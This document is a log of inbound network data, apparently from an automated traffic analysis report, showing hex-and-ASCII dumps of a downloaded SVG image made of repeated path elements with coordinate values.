2023-07-27 19:53:37 UTC	870	IN	Data Raw: 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 35 36 2c 31 31 37 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 32 36 2c 31 30 39 2e 30 35 61 32 2e 31 38 2c 32 2e 31 38 2c Data Ascii: 6,2.86,2.86,0,0,1,3.67,0,2.67,2.67,0,0,1,.19,3.61"/><path class="cls-7" d="M117.56,117.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M117.26,109.05a2.18,2.18,
2023-07-27 19:53:37 UTC	886	IN	Data Raw: 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2e 33 31 2c 31 37 38 2e 30 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2c 31 Data Ascii: 1.2,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M155.31,178.08a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.84,2.84,0,0,1,3.66,0,2.67,2.67,0,0,1,.2,3.62"/><path class="cls-7" d="M155,1
2023-07-27 19:53:37 UTC	902	IN	Data Raw: 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 33 2e 30 37 2c 32 33 38 2e 33 32 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 32 2e 37 37 2c 32 32 39 2e 35 34 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c Data Ascii: 0,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M193.07,238.32a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M192.77,229.54a2.17,2.17,0,0,1-1,2.83,3.18,
2023-07-27 19:53:37 UTC	918	IN	Data Raw: 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 38 33 2c 32 39 38 2e 35 37 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 35 Data Ascii: 1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M230.83,298.57a2.19,2.19,0,0,1-1,2.83,3.2,3.2,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M230.5
2023-07-27 19:53:38 UTC	934	IN	Data Raw: 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 35 31 2e 33 35 2c 31 31 33 2e 33 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d Data Ascii: 3-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M251.35,113.31a2.17,2.17,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M
2023-07-27 19:53:38 UTC	950	IN	Data Raw: 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 38 39 2e 31 2c 31 37 33 2e 35 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M289.1,173.55a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.66,2.66,0,0,1,.2,3.61"/><path class="
2023-07-27 19:53:38 UTC	966	IN	Data Raw: 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 32 36 2e 38 36 2c 32 33 33 2e 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c Data Ascii: ,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M326.86,233.8a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><
2023-07-27 19:53:38 UTC	982	IN	Data Raw: 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 34 2e 36 32 2c 32 39 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 Data Ascii: 18,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M364.62,294a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path cla
2023-07-27 19:53:38 UTC	998	IN	Data Raw: 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 36 34 2c 32 30 32 2e 33 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 33 37 2c 31 39 34 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e Data Ascii: ass="cls-9" d="M290.64,202.37a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M290.37,194.29a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.
2023-07-27 19:53:38 UTC	1014	IN	Data Raw: 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 38 33 2c 32 34 31 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 35 36 2c 32 33 33 Data Ascii: 8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.83,241.65a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.88-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.56,233
2023-07-27 19:53:38 UTC	1030	IN	Data Raw: 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2e 33 2c 32 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2e 30 35 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2c 32 38 30 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d Data Ascii: 38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M359.3,289a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.62,2.62,0,0,1,3.37.05,2.45,2.45,0,0,1,.18,3.32"/><path class="cls-9" d="M359,280.92a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-
2023-07-27 19:53:38 UTC	1046	IN	Data Raw: 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 33 2e 34 39 2c 33 32 38 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c Data Ascii: 1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M393.49,328.28a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,
2023-07-27 19:53:38 UTC	1062	IN	Data Raw: 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 38 2c 33 37 35 2e 36 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 37 2e 36 39 2c 33 36 37 2e 35 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 Data Ascii: ><path class="cls-9" d="M428,375.63a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"/><path class="cls-9" d="M427.69,367.56a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.3
2023-07-27 19:53:38 UTC	1078	IN	Data Raw: 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 36 2e 32 39 2c 31 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d Data Ascii: 3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M446.29,189a2,2,0,0,1-.9,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d=
2023-07-27 19:53:38 UTC	1094	IN	Data Raw: 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 30 2e 34 39 2c 32 32 38 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 Data Ascii: ,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"/><path class="cls-9" d="M480.49,228.29a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.46,2.46,0,0,1
2023-07-27 19:53:38 UTC	1110	IN	Data Raw: 2d 39 22 20 64 3d 22 4d 35 31 35 2c 32 37 35 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 34 2e 36 38 2c 32 36 37 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c Data Ascii: -9" d="M515,275.65a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M514.68,267.57a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,
2023-07-27 19:53:38 UTC	1126	IN	Data Raw: 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2e 30 35 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 39 2e 31 35 2c 33 31 34 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 38 2e 38 38 2c 33 30 36 2e Data Ascii: 0,0,1,.59-3.37,2.63,2.63,0,0,1,3.38.05,2.46,2.46,0,0,1,.18,3.32"/><path class="cls-9" d="M549.15,314.92a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"/><path class="cls-9" d="M548.88,306.
2023-07-27 19:53:38 UTC	1142	IN	Data Raw: 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 36 32 2c 33 36 32 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 33 34 2c 33 35 34 2e 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 31 2c 32 